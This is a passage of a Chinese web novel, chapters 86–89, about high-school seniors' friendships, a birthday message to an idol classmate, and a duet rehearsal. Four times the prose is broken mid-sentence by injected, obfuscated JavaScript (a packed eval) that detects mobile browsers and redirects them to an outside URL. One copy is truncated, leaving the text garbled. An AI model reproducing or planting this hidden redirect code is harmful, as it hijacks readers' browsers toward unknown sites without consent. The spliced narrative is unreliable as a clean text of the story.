“……”谷奕没想到这件事怎么就这么被马辉直接戳穿了,脸上一阵红,“……没什么!” 说完以后旁边还是没声音,谷奕知道两个人就等着他讲实话,于是只能硬着头皮说: “就是,说下次考试会考年级前90名。然后……”——就把座位换回去。 他迅速把“然后”后面的话给吞了回去,改口道:“没了。” 黄怀予一听这话就觉得不对,果然下一秒就在周围乌漆嘛黑的天台上看见一个人影突然站了起来。 ——苏琬像是出来放纵玩乐中途突然被提醒了人生大事和责任,迅速站起身,一脸坚定: “你回复马辉,我们马上就回去。” “现在一晚还有半个小时下,谷奕还能做一篇完型填空。” …… “!!我!” 谷奕一脸错愕:“别啊!” 他赶紧去看黄怀予,祈望能得到杯姐的支持。 黄怀予迅速得到信号:“别啊!” 谷奕:“别啊!” 黄怀予:“别啊!” “停——”苏琬无奈打断两个人的激烈反抗,心里那个让谷奕考到前90名的沉重责任也不得不推后,妥协道,“……算啦,难得圣诞节出来玩一下。” “我们还是按照原计划,一晚下了就回去。” 黄怀予和谷奕终于放心了,又重新躺了回去,十分默契地决定对马辉的消息执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579981|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行没看见不回复的战术。 “不过……你们知道那件事吗?”苏琬像是突然想起了什么,“之前有一次月考晚上,停电的那天。” “啊,记得记得。”谷奕想起来了。 “我也是听别人说的。那天,我们班的所有人都跑没影了,一整栋楼的人几乎都跑没影了,甚至理科火箭班都组织放学回去了。” “除了八班……她们,居然在停电的教室里玩飞花令。没答出来的就自觉抄那个类别的古诗词。” 黄怀予和谷奕两人哑口无言。 “这什么骚操作,停电了不回家还在教室里呆着!”谷奕吐槽。 “唉,人家这自觉性……”黄怀予唉声叹气,“咱们跟她们不是一个级别。” 同一件事,两个人却有完全不同的观点,谷奕说:“杯姐,你怎么老是妄自菲薄,你都年级前十了,跟她们本来就是一个级别的!” 却不料看见黄怀予摇摇头。 “她们就是很厉害呀。估计最后一定能上很好的985。” “说是天天跟她们竞争,也许人家根本没把我放在眼里。” 她撑了个懒腰,又重新躺了回去。 985? 谷奕却像是想到了什么。 “那年级前90……”他低声自言自语着,装作不经意地问了一句,“能上什么学校?” “二本?”苏琬回忆着去年的一本线。 谷奕不说话了,低下头,半晌才嗯了一声,像是很努力地在记住。 …… 黄怀予裹着围巾,躺在地上,整个人都被包裹在厚厚的冬季校服棉袄和柔软抗风的围巾里,眼前是浩瀚星空,舒服得像是跌进了柔软的梦境里。 楚门冷冽的风,天幕沉沉,三个少年呼吸的热气缠在半空中。 高三在天台上躺着看两个小时的星星,这件事本身就已经足够浪漫了。这两个小时,也许可以用来做三角函数,也许可以用来背历史大事年表,才算得上是“物尽其用”“不浪费一分一秒”“只争朝夕”。 但是黄怀予模模糊糊地想,也许在她这短暂的无聊的像沙丁鱼一样的一生中,再也不会有这样的两个小时了。 手里的抹茶冰旋还剩最后一口。 黄怀予转过了身子,面对着那两人,举起了杯子。 “快喝完了。不过也可以用。” 一句莫名其妙的话,但是后面两人都明白了她的意思,不禁都浮现出笑意。 黄怀予:“我要——超过齐龙飞!” “那我……”苏琬呼出一口气,也举起自己的杯子,缓慢而坚定地说,“江大法学院。” “考上一本!”谷奕偷瞄一眼旁边的人,自作主张低声加上一句,“最好在江城。” ——“干杯!” 并不怎么清脆的碰撞声,混杂在楚门八楼楼顶呼啸的冷风中。 黄怀予一饮而尽。 她还好年轻,年轻到冬天可以喝掉一整杯冰饮,年轻到可以跟朋友们一起逃晚自习来天台躺着看星星,年轻到可以翘着二郎腿漫谈着一知半解的西方理性发展史,有一搭没一搭地讲着这个她只靠书本了解的世界。 她还不知道这个世界是什么样,她还十七岁,她还觉得天高任鸟飞海阔凭鱼跃,她还相信只要有付出就会有回报。 她还认为光明就在明天,睁眼又是新世界,新世界是围绕着她而繁衍运转的。 ……再也不会有这样的两个小时了。 86. 第 86 章 楚恒的生日在12月30号。 黄怀予攒钱攒了大半个月。 她往年所有的压岁钱全部上交了,平常的零花钱都是家家给的,用来买生活必需品和早晚饭的。因此如果要攒到一定金额,得省吃俭用大半个月。 ——没错,省吃俭用攒了大半个月,就攒了四百块。 手机浏览器一天能搜八百遍“送男生朋友的礼物”,购物车里球鞋衣服耳机键盘应有尽有,甚至还考虑到对方的职业,还加上了一把吉他和一副手麦——最后惨然因为预算不够而放弃。 球鞋?预算不够贵的。 衣服?谷奕会送的。 耳机键盘?他看上去似乎不沉迷电子设备。 挑来挑去,挑礼物的过程比攒钱的过程还艰难。 她想来想去,一会觉得楚恒不会喜欢,一会又不知道楚恒喜欢什么,一会又觉得自己根本不应该送礼物。 谷奕买的衣服早就到了。 他自己都穿上了新的限量款,走进教室里趾高气扬的,嘴巴都要翘到天上去了。 “FREE新款!懂吗?” “我亲手抢到的!懂吗?” “看右下角衣服下摆,什么字母,大声告诉我——没错,就是我的名字缩写GY!” “全世界独一无二仅此一件!” …… “关中大侠?有这道菜吗?” 黄怀予如同郭芙蓉一般翻了个白眼。 那快递还是寄到她家里去然后她帮忙拿过来的。 黄怀予扫他一眼。 ——不得不说这衣服确实挺好看的,黑色双面夹克,翻领大开口,露出里面同色内衬,胸前不规则银色拉链装饰,穿在谷奕身上,衬得他高大挺拔,眉眼痞帅不羁,扎眼得不行。 走进教室,所有人的目光全在他身上,他还一副不知道自己有多么显眼似地冲苏琬吹了句口哨,还冲黄怀予挑了挑眉。 “不穿校服。我这就去找朱秋霞举报你。” 谷奕一把拉住作势要出门的黄怀予,笑得很欠揍。 “得了吧杯姐,你自己平时都不穿校服。” “我不穿校服我也没像你这么穿吧!你要开演唱会啊?” 面前高大的男生故作得意地撩撩头发。 “开演唱会就不必了。纯粹就是一个展示新衣服的过程。” 他长眸扫到一旁似乎正看着这边的苏琬,像是心情更好了,眉梢都透着春风得意,“顺便孔雀开个屏。” “……你倒是自我认知清晰。” “哎对了,说件正事。” 谷奕一屁股坐到黄怀予旁边,长腿伸到旁边。 “我准备中午就去寄快递去帝都给楚恒。给他买了生日礼物。” “你有没有要送的?我一起给你寄过去。” ……哪壶不开提哪壶。 黄怀予梗着脖子问:“你怎么不问苏琬送不送?” “我送了,苏琬还送什么?” “?” 这语气,怎么那么像给亲戚随礼,丈夫送了妻子就不用送了,因为他俩是一家人? “再说了……他俩又不熟。”谷奕像是想到了什么别的事,声音越来越小,“最好永远都这样不熟。” “你跟他熟多了。对吧?” 对吧? 对吧? 黄怀予从来没觉得还有比数学考试最后一道填空题还难以回答的问题。 “……不知道!” 她从牙缝里挤出几个字。 “切。我看你们熟得很。”谷奕摆摆手,“你送不送?” 他问完,却见眼前的女生像是正在思考什么人生中重大决定一般狠狠箍住了自己的头,即使看不见表情也能察觉到那股纠结和痛苦。 他也没打扰她,静静地看着。 过了十秒钟,女生像是终于想通了似地,一下子把手放了下来,露出一头鸡窝般乱糟糟的头发。 “你帮我送吧。” “啊?” 谷奕还没来得及思考这句话什么意思,就看见黄怀予拿出手机点了两下,随后自己兜里手机就震了两下。 拿出来一看: ——“【杯姐】给自己转账400元。” “只当是还给他。” 她低着头,看着书桌旁边挂着的书包上那个嘻嘻哈哈的太阳,小声说道。 “呃……也行。那我直接给他发个红包了。或者给他买点什么别的送去。” “杯姐,你记得给他发个微信送个祝福啊!我兄弟朋友少,又不爱说话,就认识我们几个人。一年就过一次生日,让他觉得热闹点。” 谷奕站起身拍拍衣服,走了。 ……送祝福? 黄怀予默默点开微博。 翻到那人的微博账号,在微博自动发的那条“今天是我的生日,来祝福我吧”微博下,混进其他十几条嗷嗷叫的“宝宝”“老公”里,悄悄回复了一条。 【CUP12345678】评论了【STAR-楚恒】:“生日快乐。” “送好了。” 她关上手机。 “以素人和明星的方式。” ——也是最适合她和他的相处方式。普通,正常,没有意外和失控,符合两人各自的身份。 * 楚恒在昏暗的床上醒来。 睁开眼的时候,睫羽轻颤,眼里透着迷茫的水雾,过了好几秒似乎才反应过来是醒了。 ——最近他很少做梦了,睡着之后闭眼只剩一片混沌。没有了噩梦和黑暗的场景,梦境和现实的边界好像都变得模糊了。 床头手机震了两下。 是“月姐”。 “楚恒,18岁生日快乐哈!” 还有一个待接收的转账通知。 …… 他慢慢起身,劲瘦的胸膛缓缓起伏,靠在床头。 微信上闪烁着几条新消息。 一条是李鸣月,一条是父母,一条是谷奕,一条是梁吟东。 他眼神仿佛还很不清明,修长的手指努力地往下滑。 ——还有吗? 还有吗? 没了。 明明不用往下滑,明明就在最上面——置顶的消息栏安安静静,还停留在12月10日的最后一条“【太阳】EMOJI”。 他送的那个太阳挂坠,她真的会喜欢吗? 那天在楚门一中门口微弱的路灯灯光下,他认真地看清了她手上拿的东西——她从满满一包礼物里,挑了一个进口玩具品牌的联名款手办。 楚恒还记得当时在机场的店里,他对玩具知之甚少,也不知道她会喜欢什么,于是问了店员哪个最受欢迎,而店员指到的这一款,旁边正好围着两三个年轻女生,正在兴奋地讨论,一会说很想要,一会又失落地说价格太贵。 他想也没想就说:“麻烦帮我包起来吧。” ……也正是因为后来她在他面前亲口说她喜欢这个,他才特意记住了这个品牌。 可是为什么,生日那天,她却没有在手机里表现得很高兴呢? 她在手机上回复说她喜欢,表示了感谢,语气却很平静。 是不是只是她的客套话? …… 楚恒一瞬间想到了什么。 ——那个包里有那么多礼物,有项链,有手表,有护肤品,有化妆品,她都没有要,只要了那个玩具手办。 是因为,那个玩具手办在其他礼物盒面前,看起来价格最低吗? 楚恒的心猛地一坠。 所以,她说她喜欢,也是假的。 因为不是很喜欢,所以生日那天收到了同样品牌的挂坠,也只是平静地说了两句客套话表示感谢。一直到今天,也没有任何消息。 窗帘紧紧地密闭着,楚恒清瘦的身体躺在床上,眼睛半阖着,领口半扯开露出流畅的颈部线条。 他坐起身。 又觉得自己的心却朝着相反的方向,沉重地堕了下去。 * 新娱公司练习室门口。 楚恒关上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——难道,楚恒之所以换手机,就是因为几个月以前自己也是这样碰了他的手机发微博? “……你!” 他暴跳如雷,几步就想走上前拉住楚恒。 可是下一秒,垃圾桶里却传出一道短促的铃声,一下子划破周围剑拔弩张的气氛。 ——很短,只有四秒钟左右,不是手机自带的,是自己设置的消息铃声。 清脆的铃声响起,赵焰愕然发现,面前的楚恒突然浑身一震,竟然冲向了垃圾桶,毫不犹豫地把手伸了进去。 !! 赵焰惊疑不定地看着面前的男人。 楚恒疯了?! 他在翻垃圾桶?! 连赵焰自己都做不到去翻垃圾桶,他有洁癖居然会这样?! 垃圾桶很大,里面还有各种生活垃圾,用过的纸巾,吃过的便当盒,混成一团。 手机比较重,一下子掉进了比较深的地方。 楚恒竟然单膝跪地,喘着气,另一只手完全伸进去翻找。 几秒钟之后,似乎终于翻到了,他一把把手抽了上来。 手机上还包着刚刚那块湿纸巾,湿纸巾上已经沾着不知道是什么东西的一层黄色的油脂。 ——而他居然就像完全没看见,颤着手点开微信。 唯一的置顶聊天框。 有一条新消息。 “楚老师,生日快乐。” …… 七个字,他看了很久。 看着看着,他居然笑了。 真心实意的笑,眉眼都舒展开,嘴角扬起来,睫毛颤抖。 胸腔震动,声音愉悦,喘着气。 像是刚刚经历了全世界最幸福的事。 …… 赵焰觉得今天晚上简直是犯太岁。他骂了一句“疯子”,转身嫌恶地离开了。 87. 第 87 章 沈一瑾独自站在走廊拐角。 她低垂着头,手上紧紧抓着一个礼物袋,脸上却满是惊惧。 ——那是给楚恒准备的生日礼物。 抓住礼物袋的手指越来越用力,甚至抖了起来。 她仍然不敢相信她看到了什么。 狭窄的走廊里,赵焰直接把一个巨大的礼物袋带着嘲讽意味地扔到楚恒脚边,并且抢过手机要用楚恒的微博账号发评论。两人起了冲突,楚恒竟然直接把手机扔进了垃圾桶。又因为铃声响起,有人给他发消息,他竟然在地上发疯一般地翻垃圾桶。 …… 沈一瑾在短短十分钟之内看到的一切,都颠覆了她以前的认知。 大家都知道STAR关系不好,却没想到,私下里竟然已经演变成了这种直接的对抗甚至是单方面的霸凌,并且,极有可能在这几年都一直持续着。 然而,最令她难以置信的是,楚恒竟然不顾一切地去垃圾桶里翻手机。 ——最后,还对着手机笑了。 那样温柔的笑,很真诚,很开心,沈一瑾从来都没有在楚恒的脸上见到过。 他……有喜欢的人了吗? 沈一瑾只觉得心被揪了起来。手上送不出的礼物就像她此时此刻的位置,没有了任何正当性。 她低着头,听见那边没了声音,才缓慢从拐角出来。 ——却没想到,正好撞上赵焰阴骘的眼神。 “!”沈一瑾下意识后退两步,紧紧捏着手里的礼物袋,又赶紧把手背到身后。 赵焰上上下下打量着她,目光扫过她手里的礼物袋,似乎是明白了什么,轻嗤一声。 “你还真是一往情深啊。” 他眼里闪过森冷的光,和平日里那股傲慢的样子截然不同。 被楚恒漠然无视的愤怒、对沈一瑾的不甘心一点一点涌了上来,最终全部化成了阴毒的怨,他最后看了一眼沈一瑾,转身离开。 * 当晚回到家躺在床上,黄怀予随便划了划手机,点开了微博。 有几条评论和点赞,都是班上的同学。 她一个一个回复,却发现,个人信息那里也多了一个小小的红色的1。 ——多了一个粉丝? 黄怀予疑惑着点进去。她这个号是一个纯粹的个人账号,名字都起得很随意,就叫“CUP12345678”,后面的一串数字还是因为CUP已经被注册了才随便加上去的。 头像就是一张班上几个女生冬天躺在楚门一中操场草皮上晒太阳的照片,连脸都没露,拍的是几个女生在地上纠缠打滚的混乱场景。 发的微博全是碎碎念,除了转发抽奖,就是每天发一些发生过的有意思的事,和晚上做题做不出来的痛苦牢骚。 偶尔会有几个互关的同学给自己点赞评论,也全都是什么“哈哈哈”之类的水话。 ——完全看不出有任何吸引人关注的地方。 她点开新增粉丝,果然看见了一个新的没见过的账户。 那人昵称叫5.5hours。 比她的号还寡淡,头像灰色,没有个性签名,一条微博也没发过。 除了一个5.5hours的名字,其他啥也没有。 …… 僵尸粉? 明天上午不用上课,黄怀予闲得无聊,干脆开始跟这人聊起天。 没错,没什么东西可玩的高三生是这样的,看见机器人都要上去调戏一下,逛商场都要牵一下假人的手。以前初中连智能手机和流量都没有的时候,黄怀予甚至和10086发了好几轮短信。 她点进那人头像。 “老铁你哪位。” “你为什么关注我。” “你是不是闲得无聊。” “正好我也挺无聊的。” “我真无语了,今天做历史题,十二道又错了四道!” “我服了,每次对文综选择题答案都跟刮彩票一样,不到最后一刻都没法知道你到底能错到什么地步!” “心态崩了。” “为什么!为什么那道题会选‘维护等级秩序’!” “啊啊啊啊啊啊” “明日schedule:早上读中国古代文化常识,上午改文综错题,中午背四级单词,下午做一套数学真题,晚上吃点炸鸡柳歇会。” “今日目标完成度:5/5。我真棒!棒棒哒!竟然连给他发生日祝福这么难的目标都完成了!” 她一通发泄,劈里啪啦打完字感觉心情都好了很多。 刚准备按返回键,却见下方突然蹦出一条白色的聊天气泡。 一句没头没尾的话。 ——“这个目标很难吗。” ……? TA不是机器人? 那TA为什么关注她? 黄怀予顿感失望,还以为能碰到一个沉浸式备忘录倾听者,能每天听听她发牢骚,也能有一种真的有人在陪着她的感觉。 搞了半天居然是真人! 她兴致全无,对那人接下来有什么回复也不感兴趣了。 是真人还关注自己,就为了看她微博里一堆一堆的废话,这人简直比她还无聊。 却见下一秒,对面真的又蹦出了一句新的回复。 生硬地,执着地,重复了一遍。 ——“真的,很难吗。” …… 什么难不难的。 黄怀予皱了皱眉,打字道: “难不难的关你啥事。” 对面静默几秒,随后立刻发过来:“抱歉。” ……这么快就道歉了? 一句话把黄怀予的不耐烦也给堵回去了,她有点如鲠在喉,对着屏幕上一句“抱歉”还真没办法说出什么重话。 再往上看看,好像是自己先私信他,给他发了一大堆莫名其妙的备忘录,把他当成树洞的。 好吧。 黄怀予有点没理了。 她很干脆地说: “不用。是我先私信你的。” “我以为你是机器人,把你当备忘录了。不好意思。” “要是没什么事,你就取消关注吧。我发的微博都是一些废话,有人关注觉得怪怪的。” 对面似乎停了很久,停到黄怀予都已经没有耐心了,准备退出,却看见下方跳出一条新的回复。 “不是说很无聊吗。” 紧接着,又一句: “那就把我当备忘录吧。” …… 书桌上的台灯发出暖黄色的光线,微微暖暖完全不刺眼,照亮房间小小的角落。窗外冬日风声呼啸,窗里开着暖气的空调轰隆隆工作着,一团团暖意融融的热空气缓慢上升,扑到黄怀予脸上。 她七仰八叉地躺在床上,拿着手机,心想自己还从来没听过这种奇怪的要求。 打字吐槽一句:“我看你也够无聊的。” 下一秒又迅速确认:“这可是你说的。” 反正她就缺一个树洞! 一个人天天学习做题,脑子里已经趋近于麻木。所以分享生活中一点有趣的事,以及和同学朋友们在互联网空间互动一下,已经是贫瘠的生活里难得的彩色画面。 无聊不是无所事事,而是一种麻木空荡的生活状态。就算从早忙到晚,精神依然觉得无聊。 黄怀予盯着这人的灰色头像,觉得他很像那种10086的人工智能,话很少,就听你不停地说,但是你知道他一直在认真听,因为他偶尔会用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598513|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的思维去评论你的一两句话,跟你聊上那么一会。 ——她觉得好像找到了一种新的乐趣。 “今天他过生日。大傻还来问我要不要送礼物。” “操,真是哪壶不开提哪壶!” “还让我给他发微信祝福一下。” “……我才不呢。在微信聊天,多尴尬。” “不过,最后我还是想了想。大傻说得也对,好歹认识一场,经历了那么多乱七八糟的事情,也算朋友了。所以,我还是给他发了一条祝福。” “很简单的啊!不夹带任何私货的!很符合普通朋友那种界限的祝福。” 她唧唧哇哇打了半天字,打着打着就直起身,去床头柜拿起杯子喝了一口水。 一连串飞快的消息突然在这里停止了,黄怀予咕噜噜喝着水,下一秒就看见密密麻麻的蓝色聊天气泡下面,出现了一条白色聊天气泡。 ——“嗯”。 就一个字,看上去好像没什么情感。似乎很平淡,很冷静,没有任何东西可以暴露背后的控制不住的指尖颤动。 她放下水杯,继续开始劈里啪啦打字。 “不过,我早上还去他微博下面给他发评论了……哦忘了跟你说,他是个明星。” “你别背地里嘲笑我怎么会认识明星的啊,他真的是明星!” “长得很帅,巨帅。” “超级无敌宇宙洪荒爆炸霸王帅。” “帅得惨绝人寰,帅得一眼就能在人群里看见他,帅得就是让你看一眼就脸红心跳。” “眼睛大大的,鼻子高高的,皮肤很白,个子很高。” “看着很瘦,但是好像还有肌肉,我之前还不小心摸到过手臂。” “我以为我自己的力气就已经很大了,毕竟从小到大班上女生男生的玻璃罐都是我帮忙开的!” “但是他好像力气比我还大。” “这人帅到什么程度呢,就是我还梦见过他。然后瞬间就被吓醒了,因为梦里的他更帅了,我感觉自己都要热得发烧了。” “身上还有香味,超级香,每次有机会遇见他我都会偷偷走到他背后去闻。” “……嗯。” 对面这回似乎是沉默了许久,不知道在经历着什么样的情绪波动,才又勉强挤了一个字过来。 …… “我知道他身上那是什么味道。是小苍兰!虽然我没闻过高级香水,但是我总逛过名创优品吧!就是这个味道,一模一样。” “哎说到哪了?哎就是他是一个明星!” “然后我就去他的微博下面给他评论生日快乐。” “混在他的粉丝里面,一发出去就立刻沉没下去的那种。再加上我这个名字又像那种三无小号,所以完全不会被人发现。” “毕竟……如果被我微博里其他互关的朋友发现了,那也挺麻烦的,因为除了两个最好的朋友,其他人都不知道我和他认识。” “娱乐圈的嘛,道上的规矩是要藏起来,我懂!我和我那两个最好的朋友,我们三个人就是他的素人朋友,得帮他保守秘密,不能掉马。” “我机智吧?一定不会有人发现我给他发了评论的。” “嗯。” 对面又回了一个同样的字,加上了一个句号。像是一种肯定,一种同意。 …… 说到这里,黄怀予才突然想到对面的人: “哎,你在哪里找到我的帐号的?” 可是这条消息发出去之后,黄怀予却再也没等到那人的“嗯”。 他好像消失了。 她打了个哈欠。 “我要去看黄文了。睡前看黄文,助眠。” “谢谢你当我的备忘录。5.5。拜拜。” 88. 第 88 章 1月1日,元旦。 马辉似乎格外重视这一次元旦晚会。 往年他都不会出现,由着班上几个人脉广会来事的同学自己组织。但是今年,他提前一周就开始全班募集节目,还找来班长统计节目,似乎是要在高考这最后一年好好办一场班级元旦晚会。 几乎每个人都被马辉问了一遍,甚至几个二次元同学都报了一个节目准备上去跳《极乐净土》。 ——但是,他第一个来找的,就是黄怀予和苏琬。 因为这两人之前高一的时候,还在全校开学典礼上表演过钢琴和小提琴合奏,算得上整个班里最拿得出手的一个节目。 马辉语气很是诚恳,说就在自己班上,不用太多准备,弹得不好也不要紧,大家一起过个元旦,绝对不会耗费太多学习时间到练琴上。 动之以情晓之以理,就是想让两人同意。 两个人也都没有什么异议,互相看了一眼就都知道对方会同意,于是都答应了。 …… 周末,谷奕听说苏琬要去黄怀予家练琴,立刻也跟着去看热闹。 这还是谷奕第一次来黄怀予家。 是陪读街的家,面积不大但是黄怀予有自己的房间。 “随便坐啊。” “有酸奶,我去给你们倒一点。” 家里没人,杯姐说外公外婆都出去打牌了,随便就走了进来,也没有任何招呼,好像这两个人就是她家人一样。 谷奕一眼就看到了她房间里一个巨大的玻璃柜子。 又高又大,大概有两米多高,看上去质量很好。一眼透过透明的玻璃望进去,下面几层满满当当全都是书,而上面三层,则全都是各种各样奇形怪状的杯子,乍一看起码有七八十个,密密麻麻放在柜子里。 ……原来就是它。 总算见识到了。 谷奕够着脖子瞄了好几眼,从上到下从左到右全部扫了一遍,确认每一个角落都没放过,但是依然没有看见他送的那个黄色杯子。 “……” 黄怀予端了两杯酸奶过来,递给谷奕。 手伸出去,却半天都没有人拿。一杯酸奶停在半空中。 “?” 黄怀予奇怪转头,就看见谷奕靠在墙边,接近一米九的高大个子直接和门框一样高,双手抱胸,头撇在一边,不看她。 “酸奶。” 他头扭得更偏了。 “不喝。” 黄怀予白他一眼,不知道谷公子又发什么疯,把酸奶往桌上一放。 “不喝我喝!” 她又走到厨房那里,打开冰箱,拿出自己用的杯子倒了一杯新的,一边喝一边走了回来。 “……”谷奕只觉得自己被大大地无视了,冲着苏琬叫,“她好凶!” “停。你们俩怎么又吵起来了。” “是我想吵吗?给他酸奶他不喝。” “那是你惹我在先!” “我怎么惹你了!” “你!——” 谷奕即将脱口而出的话,却在下一秒就被他自己吞了回去。 他看见,黄怀予左手叉着腰站在客厅中间跟自己对战,右手拿着一杯刚刚她自己喝了一半的酸奶。 ——她手上那个杯子,就是他送她的那个黄色杯子。 所以不放在柜子里的原因,是她现在一直在用? “……” 黄怀予吵着吵着,突然发现对面没声音了。 只见谷奕盯着自己右手的那杯酸奶,似乎愣怔几秒然后回过神来,刚刚讲到一半却突然自己闭了嘴。 随后慢吞吞走到桌子前面,把刚刚黄怀予递给他的那杯酸奶拿起来,喝了一口。 “?你不是说不喝?” 黄怀予呛他一句,本来以为他会生气,却没想到他完全没回嘴,反而低头捧着那杯酸奶,慢慢露出一个傻气十足的笑容。 “……有病。” 黄怀予仰头喝完了自己手里的酸奶,瞪了他一眼,把杯子往桌上重重一放,然后拉过苏琬的手。 “走,练琴去。” …… 房间里摆了一架雅马哈电子琴。 黄怀予已经好几年没有弹过了。以前高一的时候中午吃完饭还会弹一弹,明明音量已经调到最小了,结果第二天五个陌生家长来敲门,友好提示不要弹琴打扰他们家孩子午睡。 黄怀予很是纳闷,音量已经开到最小了,在她自己房间门口都完全听不见,不知道怎么能传到别人家去的。 不过高中生就是这么敏感,睡觉是世界上最重要的事,她当然完全理解。 ——那以后黄怀予就再也没弹过了,住在这里的都是楚门一中的学生,一提起学习比天大,任何事情都可以让步。 苏琬和谷奕走了进来。 苏琬拎了一个纯黑色的琴盒进来,慢慢放到了桌子上。 谷奕拉了个凳子坐在旁边。 黄怀予在琴边坐下,打开电源,才按了几个键,就好像感觉到不对,站了起来。 “等会,我去剪个指甲。” 说完就迅速出了房门。 ——现在房里,就只有苏琬和谷奕两人。 苏琬素白的手指放在开口处,很缓慢地打开琴盒,露出里面一把深棕色的小提琴。 背板光滑,泛着冷光,一把长弓放在旁边,因为许久未使用而放松了弓杆。 小提琴静静地躺在里面,像是只看着它就已经能被带入高贵优雅的交响乐演奏厅,眼前似乎都已经出现了黑色燕尾服的绅士,乌木沉沉,让人不由得摒住了呼吸。 它出现在这里,似乎和周围的环境极其不搭,产生了强烈的违和感。 苏琬修长的手指慢慢拂过琴弦。 睫羽轻颤,她突然开口。 “我已经六年,没有打开过这个盒子了。” 她的声音有些沙哑,手指轻轻柔柔抚过琴身,像是在触碰什么渴望的珍视的美好事物。 “那个时候我家还没有这么困难。” “我爸还在工地上班。我家也还没有欠债。” “我和杯子的家只隔一栋楼。杯子天天被她那个在魔都打工的妈妈逼迫上各种各样的辅导班,美术声乐钢琴全部都有。她觉得很痛苦,但是我反而很羡慕。” “我也回家去问了我妈。我妈说,不用考虑钱的事,只要你想学,我们就上。” “后来,真的上了。我选了小提琴。因为和她的钢琴很配,不是吗?” “我们在同一个机构,花了一样的时间都考到了十级。那个时候刚刚小学毕业,所有人都很幼稚,但是所有人的生活都透着一股幼稚的美好。那是我记忆里一段很幸福的日子。” “再后来,我爸就死了。” “他从高处摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607316|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来,不治身亡。施工方和管理方动了关系,赔了一点钱,事件被压了下去,结束了。” “然后……就慢慢一步步到了今天这样。” 她低着头。 “这个盒子,已经六年没有打开过了。” 就像她的梦,就像她和星星的距离,好像变得越来越遥远。 …… 谷奕怔怔然,盯着窗边那个低着头慢慢说话的瘦弱背影,薄唇紧抿着,突然不知该说些什么。 他像是半天才回过神来,涩然站起身,高大的身影一步步走向她。 然后,轻轻握住了她抚摸琴弦的手。 温热的,暖和的。他身上永远这样热,冬日里手也温暖。 两只手慢慢叠在一起。 然后,那双大手用力地撬进她的掌心,和她十指相扣。 “是因为这个……”谷奕艰难开口,才一出声就发现自己声音颤抖,“你才想学法吗?” 苏琬的背影抖了一下。 然后,轻轻点了点头。 “不过。” 她笑了一下。 “也许学法也没什么用吧。” “我是不是根本不算什么?对这个世界来说,或许法律本身也算不了什么。” “钱和权才是最重要的吧?” 她轻轻说。 * “你们俩弹什么?” “《梁祝》。”黄怀予剪完指甲回来,笑嘻嘻地说,“经典中的经典。我十级就考的这个。” “我们俩之前高一在开学典礼上表演的也是这首《梁祝》。我现在就记得这一版,其他的已经忘得一干二净了。” 钢琴声清脆动听,小提琴音色悠扬婉转,两道旋律纠缠在一起,明明是两种乐器却显得极为和谐,乐曲声像水一样流淌。 冬日午后的阳光透过窗户洒进来,暖洋洋地照在两个女孩身上。一个站着肩背笔直,姿态优雅,好像正站在演奏厅里;而另一个坐着,盘起一条腿,另一只腿还晃晃悠悠。 两人并未对视任何一眼,连谱子都没有,但是这练习过无数遍的合奏却好像已经成为了肌肉记忆,只一触摸就倾泻而出。 …… 谷奕静静地坐在一旁听着,当着全世界最合格的听众。 苏琬怕他无聊,以及还记着她那个辅导谷奕进年级前90名的深刻使命,特地还让谷奕背了两本练习册过来,两人练琴的时候他就可以在旁边写。 谷奕坐在黄怀予房间的书桌边,静静听着两人在身后一遍一遍练习的《梁祝》,手上写着文综大题——在这样有些奇怪的情境下,他心里竟然莫名其妙生出一点奇异的安宁感。 他做题的时候最烦有人打扰,在寝室里每天晚上都强制勒令白度在洗澡的时候不准鬼哭狼嚎地唱歌,以免影响他看书。 ……但是此时此刻他却觉得,身后那两人的合奏好像天籁。 阳光照在手臂上,透明的笔杆和笔芯也被晒得暖融融的。死记硬背的知识点好像突然一个个全都浮现了出来,他写完了最后一道题,摸了摸黄怀予桌上挂着的一个丑丑的迪迦挂件。 “再来一遍吧,刚刚那里我手软了,弹错好几个音。” “好。” 两个女孩细细密密交谈的声音传来。 谷奕放下了笔。 冬日阳光温暖,空气干燥,他心里无限轻松安宁。 89. 第 89 章 元旦当晚。 高三生没有假期,元旦依然要上课,不过才刚刚下午五点半,所有人就已经开始自觉拉桌子,把教室最中间的空地腾出来,给今晚的元旦晚会做准备。 